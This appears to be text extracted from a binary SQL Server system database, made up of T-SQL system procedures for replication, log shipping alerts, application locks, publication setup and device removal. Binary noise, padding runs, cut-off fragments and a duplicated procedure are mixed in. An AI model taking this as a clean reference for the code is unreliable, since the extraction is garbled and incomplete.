Fsp_MScompute_maxmin_identity&]Lsp_MScheck_autoident_parameters&QHsp_MScheck_republisher_ranges&-tHsp_MSchangemergeschemaarticle&LNsp_MScreate_logical_record_views&RLsp_MScheck_joinfilter_using_dri&{Jsp_MScheck_subscription_expiry&;Dsp_MScleanup_conflict_table&S8sp_MScleanup_conflict&q4sp_MSclearcolumnbit&#ZZsp_MScomputemergearticlescreationorder&Lsp_MScomputemergeunresolvedrefs&Bsp_MSCheckmergereplication&)Rsp_MSchangemergedynamicsnapshotjob&%/^sp_MScheck_dynamic_filtering_information&qBsp_MScheck_dynamic_filters&"<sp_MScheck_join_filters&p)y`sp_MScheck_join_filter_circular_relations&}Jsp_MScheck_blob_filter_columns&0h@sp_MScheck_subset_filters&C\sp_MScheck_functions_indirectly_in_view&nDXsp_MScheck_functions_directly_in_view&V[^sp_MScreate_article_logical_record_views&Xsp_MScheck_allparents_wellpartitioned&Vsp_MSclear_dynamic_snapshot_location&_Hsp_MScreate_article_repl_view&yRsp_MScreate_all_article_repl_views&sJsp_MScreate_article_repl_views&.K>sp_MSchange_mergearticle&Fsp_MSchange_mergepublication&7>sp_MScheck_article_order&<sp_MScheckidentityrange&1{Bsp_MSchangearticleresolver&,Bsp_MScheckexistsgeneration&ݘu>sp_MSchecksnapshotstatus&[{Zsp_MScheck_logicalrecord_metadatamatch4	$x~xr
L

 >z
T.xF8
XFBDV 6			~	$hH	`	<e@oL-0@ b8--
-- Name: sp_MSispullmergejobnamegenerated
--
-- Descriptions: This procedure checks whether a given job id corresponds to
--               a pull merge agent job with a name generated by replication. 
--               If so, a return value of zero will be returned, otherwise
--               a value of one will be returned to the caller.
-- 
-- Notes: 1) For this procedure to be effective, it must match the current
--           pull merge agent name generation algorithm. Note that the 
--           algorithm used for matching auto-generated job name is not 
--           exact. (See sp_addmergepullsubscription_agent replsys.sql)
--        2) This procedure is supposed to be executed at the subscriber
--           database. The subscriber server name and subscriber database
--           name for contructing the generated job name are obtained via
--           the serverproperty('ServerName') and the db_name() functions. 
--
-- Parameters: @publisher     sysname
--             @publisher_db  sysname
--             @publication   sysname (This can be null for shared agent)
--             @job_id        uniqueidentifier
--
-- Returns: 0 - If the specified jobid corresponds to a snapshot job with
--              a generated name.
--          1 - Otherwise
--
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSispullmergejobnamegenerated (
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname,
    @job_id       uniqueidentifier
    )
as
begin
    set nocount on
    
    declare @generated_job_name nvarchar(4000)
    declare @generated_job_name_length int
    declare @job_name sysname

    select @job_name = null
    select @job_name = name
      from msdb.dbo.sysjobs_view
     where job_id = @job_id

    if @job_name = null
    begin
        goto MISMATCH
    end
    
    -- First of all, make sure that the given job is indeed a merge agent
    -- job (There should be a step with Distribution as the subsystem in the 
    -- job)
    if not exists (select * 
                     from msdb.dbo.sysjobsteps
                    where job_id = @job_id
                      and upper(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'MERGE')
    begin
        goto MISMATCH
    end
    
    -- Pull merge agent names are always generated with a - 0 extension
    select @generated_job_name = left(@publisher, 23) + N'-'
                               + left(@publisher_db, 23) + N'-'
                               + left(@publication, 23) + N'-'
                               + left(convert(nvarchar(4000),serverproperty('ServerName')), 23) + N'-'
                               + left(db_name(), 23) + N'- 0'

    if upper(@job_name) = upper(@generated_job_name)
    begin
        return 0
    end

	-- Check if agent name is generated with guid... we pass in '' so there is no guid added
    select @generated_job_name = sys.fn_repluniquename(NULL, 
														@publisher, 
														@publisher_db, 
														@publication,
														db_name())
	-- try matching prefix 
	if upper(left(@job_name, len(@generated_job_name))) = upper(@generated_job_name)
	begin
		-- Checks if the tail end of the job name matches a hexadecimal guid with no -
        if upper(right(@job_name, len(@job_name) - len(@generated_job_name)) COLLATE SQL_Latin1_General_CP1_CS_AS)
            like N'[0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]'
        begin
            return 0
        end
    end

MISMATCH:
    if @job_name is not null
    begin
        raiserror(21695, -1, -1, @job_name)
    end
    return 1
end
0\ 8
create function [sys].[fn_cdc_hexstrtobin]
(
	@hexstr nvarchar(40)
) 
returns binary(10) 
as
begin 
    declare @ind int, @byte1 int, @byte2 int, @binvalue varbinary(10)
     
    set @binvalue = 0x
    
    if lower(substring(@hexstr, 1, 2)) = '0x'
		set @ind = 3
	else
		set @ind = 1
     
    while ( @ind <= len(@hexstr) )
    begin            
        set @byte1 = ascii(substring(@hexstr, @ind, 1))
        set @byte2 = ascii(substring(@hexstr, @ind + 1, 1))
        set @binvalue = @binvalue + convert(binary(1), 
                  case 
                        when @byte1 between 48 and 57 then @byte1 - 48  
                        when @byte1 between 65 and 70 then @byte1 - 55  
                        when @byte1 between 97 and 102 then @byte1 - 87 
                        else null end * 16 +
                  case 
                        when @byte2 between 48 and 57 then @byte2 - 48  
                        when @byte2 between 65 and 70 then @byte2 - 55  
                        when @byte2 between 97 and 122 then @byte2 - 87 
                        else null end) 
        set @ind = @ind + 2 
    end 
    
    return @binvalue
    
end 
ATION')
	BEGIN
		SELECT @password = @crypto_v4_first_char 
							+ @crypto_v4_second_char 
							+ @crypto_v4_third_char 
							+ @crypto_v4_fourth_char
							+ CONVERT(nvarchar(524), ENCRYPTBYKEY(KEY_GUID('SQLSERVER_REPLICATION'), @password))
	END
		
	RETURN @password
END
0@ 	8create procedure sys.sp_check_log_shipping_monitor_alert 
as
begin
    set nocount on
    declare @retcode int
                ,@server sysname
                ,@database sysname
                ,@threshold_alert int
                ,@curdate_utc datetime
                ,@threshold int
                ,@elapsedtime int
                ,@latency int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    select @curdate_utc = getutcdate()
    --
    -- enumerate through the primary and secondaries
    -- which have crossed the thresholds
    --
    declare #hclsalert cursor local fast_forward for 
        (select primary_server
                ,primary_database
                ,isnull(threshold_alert, 14420)
                ,backup_threshold
                ,datediff(minute, last_backup_date_utc, @curdate_utc)
                ,cast(0 as int)
            from msdb.dbo.log_shipping_monitor_primary
            where threshold_alert_enabled = 1
                and datediff(minute, last_backup_date_utc, @curdate_utc) > backup_threshold)
        union
        (select secondary_server
                ,secondary_database
                ,isnull(threshold_alert, 14421)
                ,restore_threshold
                ,datediff(minute, last_restored_date_utc, @curdate_utc)
                ,isnull(last_restored_latency,0)
            from msdb.dbo.log_shipping_monitor_secondary
            where threshold_alert_enabled = 1
                and (datediff(minute, last_restored_date_utc, @curdate_utc) > restore_threshold
                        or last_restored_latency > restore_threshold))

    open #hclsalert
    fetch #hclsalert into @server, @database, @threshold_alert, @threshold, @elapsedtime, @latency
    while (@@fetch_status != -1)
    begin
        --
        -- log error that raises alerts
        --
        raiserror(@threshold_alert, 16, 1, @server, @database, @threshold, @elapsedtime, @latency)
        fetch #hclsalert into @server, @database, @threshold_alert, @threshold, @elapsedtime, @latency
    end
    close #hclsalert
    deallocate #hclsalert
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`u<1
Ag<V0=! 	8create procedure sys.sp_MStran_altertrigger 
(
	@qual_object_name nvarchar(512) --qualified 2-part-name			
	,@objid	int
	,@pass_through_scripts nvarchar(max)
	,@target_object_name nvarchar(512) 
)

AS
	set nocount on

	declare @tran_artid int 
			,@retcode int
			,@subscription_active int
			,@include_ddl int
			,@replicate_trigger int
			,@dest_table sysname
			,@dest_owner sysname
			,@qual_dest_object nvarchar(512)
			,@temp_ddlcmds nvarchar(max)

	select @include_ddl = 0x1
		,@subscription_active = 2 
		,@retcode = 0
		,@replicate_trigger = 0x100

	begin tran sp_MStran_altertrigger
	save tran sp_MStran_altertrigger
	--loop through relavent publications/articles
	declare #trancolumn CURSOR LOCAL FAST_FORWARD for 
		select distinct a.artid, a.dest_table, a.dest_owner
			from sysarticles a 
			join sys.objects o on a.objid = o.parent_object_id
			join syspublications p on a.pubid = p.pubid 
			join dbo.syssubscriptions s on a.artid = s.artid
			where o.object_id = @objid 
					and s.status = @subscription_active 
					and (p.replicate_ddl & @include_ddl) = @include_ddl
					and fn_replgetbinary8lodword(a.schema_option) & @replicate_trigger = @replicate_trigger
		
	open #trancolumn
	fetch #trancolumn into @tran_artid, @dest_table, @dest_owner
	while (@@fetch_status <> -1)
	BEGIN
		if(@dest_owner is not NULL) and (len(@dest_owner) > 0)
			select @qual_dest_object = QUOTENAME(@dest_owner) + N'.' 
		else 
			select @qual_dest_object = N'' 
		if(@dest_table is not null) and (len(@dest_table) > 0)
			select @qual_dest_object = @qual_dest_object + QUOTENAME(@dest_table)
		else 
			select @qual_dest_object = @target_object_name

			select @temp_ddlcmds = N'if object_id(''' +sys.fn_replreplacesinglequote(quotename (object_name(@objid)))+ N''') is not null exec(''' 
											+ sys.fn_replreplacesinglequote('ALTER TRIGGER '
											+ @qual_object_name + N' on '
											+ @qual_dest_object + N' '
											+ @pass_through_scripts )+ N''')'
			exec @retcode = sys.sp_MStran_autoproc @artid = @tran_artid
	  								,@ddlcmd = @temp_ddlcmds
		if @retcode <>0 or @@ERROR<>0
			goto DROPTRAN
		fetch #trancolumn into @tran_artid, @dest_table, @dest_owner
	END
	close #trancolumn
	deallocate #trancolumn

	commit tran sp_MStran_altertrigger
	return 0

DROPTRAN:
	close #trancolumn
	deallocate #trancolumn

FAILURE:
	rollback tran sp_MStran_altertrigger
	commit tran
	return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Bt<40$f@ 8create procedure sys.sp_releaseapplock --- 1999/04/14 00:00
 @Resource nvarchar (255) = NULL,	    -- Resource to unlock
 @LockOwner varchar (32) = 'Transaction',   -- Lock Owner - [D = Transaction]
 @DbPrincipal sysname = N'public'	    -- DB principal to use for name space and permissions
as

  declare @owner integer
  declare @result integer
  declare @dbid integer

  select @owner =
	CASE @LockOwner
	 When ('Transaction')   Then 1
	 When ('Session')       Then 3
	 Else -1
	END

  if @owner = -1
  begin
    raiserror(15625, -1, -1, @LockOwner, N'@LockOwner')
    return (-999)
  end

  select @dbid = db_id ()

  exec @result = sys.xp_userlock 1, @dbid, @DbPrincipal, @Resource, 0, @owner

  return @result
0 s 
8--
-- Name: sp_MSfixup_constraints_name
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which is used by ddl trigger to 
--		handle the condition where user did not provide explicit constraint
--		name, by retrieving constraint name from system catelog view 
--		it covers CHECK, UNIQUE, FOREIGN KEY, and works off  
--		prepopulated #tran_altertable table
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSfixup_constraints_name
(
--pass in these constant from caller, so we don't have define them everwhere
    @subtype_addun int
    ,@subtype_addfk int
    ,@subtype_addchk int
    ,@objid int
    ,@debug_print bit = 0
)
as
begin 
		declare @colname nvarchar(512) 
					,@typeid nvarchar(32)
					,@modified_date datetime
					,@row_id int
					,@type_mask int
					,@done_mask int

	begin tran replddl_fixup_constraints_name
	save tran replddl_fixup_constraints_name

	set @done_mask = @subtype_addun | @subtype_addfk | @subtype_addchk
	DECLARE #fkcursor CURSOR LOCAL FAST_FORWARD for
		select name, type, modify_date  from sys.key_constraints
					where parent_object_id = @objid and 
						type = 'UQ' collate database_default
		union
		select name, type, modify_date from sys.foreign_keys	
					where parent_object_id = @objid
		union
		select name, type, modify_date from sys.check_constraints
					where parent_object_id = @objid
		order by modify_date desc

	open #fkcursor
	fetch #fkcursor into @colname, @typeid, @modified_date 
	while @@fetch_status <> -1
	begin
		if @debug_print = 1
			select 'stage' = 'sp_MSfixup_constraints_name:query'
									,'@colname' = @colname
									,'@typeid' = @typeid
									,'@modified_date' = @modified_date
									,'@type_mask' = @type_mask
									,'@done_mask' = @done_mask

		set @row_id = NULL
		select top 1 @row_id = id
					from #tran_altertable where 
						EnumType = case @typeid when N'UQ' then @subtype_addun
																		when N'F' then @subtype_addfk
																		when N'C' then @subtype_addchk
																		end
						and len(isnull(ColumnName, '')) = 0 order by id desc

		if @row_id is null
		begin
			--exit if we've finished processing all empty names for un/fk/chk
			if (@type_mask & @done_mask) = @done_mask
				break
			else
				select @type_mask = @type_mask | 
													case @typeid when N'UQ' then @subtype_addun
																		when N'F' then @subtype_addfk
																		when N'C' then @subtype_addchk
																		end
		end
		else
		begin
			if @debug_print = 1
				select 'stage' = 'sp_MSfixup_constraints_name:update'
										,'@row_id' = @row_id
										, * from #tran_altertable where id = @row_id

			update #tran_altertable set ColumnName = @colname where id = @row_id
			if @@error > 0
				goto FAILURE
		end

			fetch #fkcursor into @colname, @typeid, @modified_date 
	end
	close #fkcursor
	deallocate #fkcursor

	if @debug_print = 1
		select 'stage' = 'sp_MSfixup_constraints_name:exit'
								,'comments' = 'un/fk/chk name filled'
								,* from #tran_altertable

	commit tran replddl_fixup_constraints_name
	return 0
FAILURE:
	close #fkcursor
	deallocate #fkcursor
	rollback tran replddl_fixup_constraints_name
	commit tran
	return 1

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!f`<<C<PҘ0!@ 8
--
-- Name:
--		sp_addpublication
--
-- Description:
--		Creates a snapshot or transactional publication. This stored procedure is executed at
--		the Publisher on the publication database.
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Public
--
-- Notes:
--		Re-directs to call sp_MSrepl_addpublication in the correct db context (distributor for HREPL)
--

create procedure sys.sp_addpublication
(
    @publication                sysname,
    @taskid                        int = 0,                        -- backward compatible
    @restricted                    nvarchar (10) = N'false',        -- publication security
    @sync_method                nvarchar(40) = NULL,            -- (bcp) native, (bcp) character
                                                                -- NULL defaults to appropriate sync method for pub type
    @repl_freq                    nvarchar(10) = N'continuous',    -- continuous, snapshot
    @description                nvarchar (255) = NULL,
    @status                        nvarchar(8) = N'inactive',        -- publication status; 0=inactive, 1=active
    @independent_agent            nvarchar(5) = N'false',
    @immediate_sync                nvarchar(5) = NULL,
    @enabled_for_internet        nvarchar(5) = N'false',
    @allow_push                    nvarchar(5) = N'true',
    @allow_pull                    nvarchar(5) = N'false',
    @allow_anonymous            nvarchar(5) = N'false',
    -- SyncTran
    @allow_sync_tran            nvarchar(5) = N'false',
    @autogen_sync_procs            nvarchar(5) = NULL,                -- auto gen sync tran procs per article
    @retention                    int = 336,                        -- 14  days
    @allow_queued_tran            nvarchar(5) = N'false',
    -- Portable Snapshot
    @snapshot_in_defaultfolder    nvarchar(5) = N'true',
    @alt_snapshot_folder        nvarchar(255) = NULL,
    -- Snapshot pre/post- commands
    @pre_snapshot_script        nvarchar(255) = NULL,
    @post_snapshot_script        nvarchar(255) = NULL,
    -- Snapshot compression
    @compress_snapshot            nvarchar(5) = N'false',
    -- Post 7.0 FTP
    @ftp_address                sysname = NULL,
    @ftp_port                    int = 21,
    @ftp_subdirectory            nvarchar(255) = NULL,
    @ftp_login                    sysname = N'anonymous',
    @ftp_password                sysname = NULL,
    @allow_dts                    nvarchar(5) = N'false',
    @allow_subscription_copy    nvarchar(5) = N'false',
    @conflict_policy            nvarchar(100) = NULL,            -- NULL, 'pub wins', 'sub reinit', 'sub wins'
    @centralized_conflicts        nvarchar(5) = NULL,                -- NULL, 'true', 'false'
    @conflict_retention            int = 14,
    @queue_type                    nvarchar(10) = NULL,            -- NULL, 'sql'
    @add_to_active_directory    nvarchar(10) = N'false',
    @logreader_job_name            sysname = NULL,
    @qreader_job_name            sysname = NULL,
    @publisher                    sysname = NULL,
    -- Backup subscription support
    @allow_initialize_from_backup        nvarchar(5) = NULL,        -- NULL, 'false', 'true'
    @replicate_ddl                int = NULL,
    -- PeerToPeer
    @enabled_for_p2p            nvarchar(5) = N'false',
    @publish_local_changes_only    nvarchar(5)    = N'false',
    -- Heterogeneous subscriptions
    @enabled_for_het_sub        nvarchar(5) = N'false',
    -- PeerToPeer conflict detection
    @p2p_conflictdetection    nvarchar(5) = N'false',
    @p2p_originator_id         int = NULL,
    @p2p_continue_onconflict    nvarchar(5) = N'false',
	@allow_partition_switch		nvarchar(5) = N'false',
	@replicate_partition_switch nvarchar(5) = NULL
)
AS
BEGIN
    set nocount on
    DECLARE @cmd  nvarchar(4000)
                ,@retcode  int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo @publisher = @publisher,
                                                                        @publisher_type = @publisher_type OUTPUT,
                                                                        @rpcheader = @cmd OUTPUT
    IF @retcode != 0 or @@error !=0
        RETURN 1

    -- Add sp
    select @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_addpublication'

    EXEC @retcode = @cmd
                            @publication,
                            @taskid,
                            @restricted,
                            @sync_method,
                            @repl_freq,
                            @description,
                            @status,
                            @independent_agent,
                            @immediate_sync,
                            @enabled_for_internet,
                            @allow_push,
                            @allow_pull,
                            @allow_anonymous,
                            @allow_sync_tran,
                            @autogen_sync_procs,
                            @retention,
                            @allow_queued_tran,
                            @snapshot_in_defaultfolder,
                            @alt_snapshot_folder,
                            @pre_snapshot_script,
                            @post_snapshot_script,
                            @compress_snapshot,
                            @ftp_address,
                            @ftp_port,
                            @ftp_subdirectory,
                            @ftp_login,
                            @ftp_password,
                            @allow_dts,
                            @allow_subscription_copy,
                            @conflict_policy,
                            @centralized_conflicts,
                            @conflict_retention,
                            @queue_type,
                            @add_to_active_directory,
                            @logreader_job_name,
                            @qreader_job_name,
                            @publisher,
                            @allow_initialize_from_backup,
                            @replicate_ddl,
                            @publisher_type,
                            @enabled_for_p2p,
                            @publish_local_changes_only,
                            @enabled_for_het_sub,
                            @p2p_conflictdetection,
                            @p2p_originator_id,
                            @p2p_continue_onconflict,
							@allow_partition_switch,
							@replicate_partition_switch

    RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`F<.
D=80%H 8create procedure sys.sp_dropdevice --- 1996/04/08 00:00
	@logicalname	sysname,		-- logical name of the device
	@delfile	varchar(7) = null	-- optional param. to delete disk file
as
	declare @delfileIn varchar(7)
	select @delfileIn = @delfile
	-- See if user specified something for @delfile and, if so, validate it.
	if @delfile is not null
	begin
		select @delfile = lower(@delfile collate Latin1_General_CI_AS)
		if @delfile <> 'delfile'
		begin
			raiserror(15216,-1,-1,@delfileIn)
			return(1)
		end
	end

	-- If we're in a transaction, disallow this since it might make recovery impossible.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dropdevice')
		return (1)
	end

	-- Only the system administrator (SA) can run this command.
	--  Check to make sure the executor is the sa.
	if not is_srvrolemember('diskadmin') = 1
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	-- Check and make sure that the device actually exists.
	if not exists (select * from master.dbo.sysdevices where name = @logicalname)
	begin
		raiserror(15012,-1,-1,@logicalname)
		return (1)
	end

	-- Drop the device.
	if @delfile = 'delfile'
		dbcc dbrepair
		('', 'dropdevice',@logicalname, 1)  WITH NO_INFOMSGS
	else
		dbcc dbrepair
		('', 'dropdevice',@logicalname, 0)  WITH NO_INFOMSGS

	if @@error <> 0
		return (1)

	raiserror(15463,-1,-1)

	return (0) -- sp_dropdevice
0S@ X8
--
-- Name:    
--          sp_ORAcompiletriggers
--          
-- Description: 
--          Force compile the defined Oracle triggers
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAcompiletriggers
(
	@publisher			sysname
)
AS
BEGIN
	declare @OracleCommand	nvarchar(4000),
			@retcode		int

	SET @retcode = 0

	SET NOCOUNT ON 

	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)
	
	-- Build command
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.CompileTriggers}')
	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21651, 16, -1, 'CompileTriggers', @publisher)
    	RETURN (1)
	END
END
0; 8 
-- add it
create view sys.dm_pdw_nodes_tran_commit_table as
select *, convert(int, null) pdw_node_id from sys.dm_tran_commit_table
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!	-`F<EW0S@ X8
--
-- Name:    
--          sp_ORAcompiletriggers
--          
-- Description: 
--          Force compile the defined Oracle triggers
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAcompiletriggers
(
	@publisher			sysname
)
AS
BEGIN
	declare @OracleCommand	nvarchar(4000),
			@retcode		int

	SET @retcode = 0

	SET NOCOUNT ON 

	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)
	
	-- Build command
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.CompileTriggers}')
	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21651, 16, -1, 'CompileTriggers', @publisher)
    	RETURN (1)
	END
END
0@ M8create procedure sys.sp_MScreatelightweightmetatables
as
	declare @retcode int
	
	if object_id('dbo.MSmerge_rowtrack', 'U') is null
	begin
		-- IMPORTANT: If the MSmerge_rowtrack schema changes, adjust sp_MSget_MSmerge_rowtrack_colinfo.
		create table dbo.MSmerge_rowtrack
		(
